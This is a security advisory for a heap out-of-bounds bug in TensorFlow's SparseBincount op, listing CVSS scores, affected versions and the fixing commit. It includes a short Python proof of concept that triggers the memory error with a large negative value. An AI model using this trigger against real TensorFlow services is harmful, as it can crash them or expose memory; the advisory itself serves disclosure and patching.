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githubGitHub Advisory DatabaseGHSA-374M-JM66-3VJ8
HistoryNov 10, 2021 - 6:41 p.m.

Heap OOB in `SparseBinCount`

2021-11-1018:41:47
CWE-125
GitHub Advisory Database
github.com
20
tensorflow
security
validation
patched
github commit
aivul team
qihoo 360
information security

CVSS2

3.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:N/A:P

CVSS3

7.1

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

EPSS

0.001

Percentile

17.8%

Impact

The implementation of SparseBinCount is vulnerable to a heap OOB:

import tensorflow as tf
  
  
tf.raw_ops.SparseBincount(
  indices=[[0],[1],[2]]
  values=[0,-10000000]
  dense_shape=[1,1]
  size=[1]
  weights=[3,2,1]
  binary_output=False)

This is because of missing validation between the elements of the values argument and the shape of the sparse output:

for (int64_t i = 0; i < indices_mat.dimension(0); ++i) {
  const int64_t batch = indices_mat(i, 0);
  const Tidx bin = values(i);
  ...
  out(batch, bin) = ...;
}

Patches

We have patched the issue in GitHub commit f410212e373eb2aec4c9e60bf3702eba99a38aba.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected configurations

Vulners
Node
tensorflow-gpuRange<2.4.4
OR
tensorflow-gpuRange2.5.02.5.2
OR
tensorflow-gpuRange2.6.02.6.1
OR
tensorflow-cpuRange<2.4.4
OR
tensorflow-cpuRange2.5.02.5.2
OR
tensorflow-cpuRange2.6.02.6.1
OR
tensorflowtensorflowRange<2.4.4
OR
tensorflowtensorflowRange2.5.02.5.2
OR
tensorflowtensorflowRange2.6.02.6.1
VendorProductVersionCPE
*tensorflow-gpu*cpe:2.3:a:*:tensorflow-gpu:*:*:*:*:*:*:*:*
*tensorflow-cpu*cpe:2.3:a:*:tensorflow-cpu:*:*:*:*:*:*:*:*
tensorflowtensorflow*cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:*

CVSS2

3.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:N/A:P

CVSS3

7.1

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

EPSS

0.001

Percentile

17.8%

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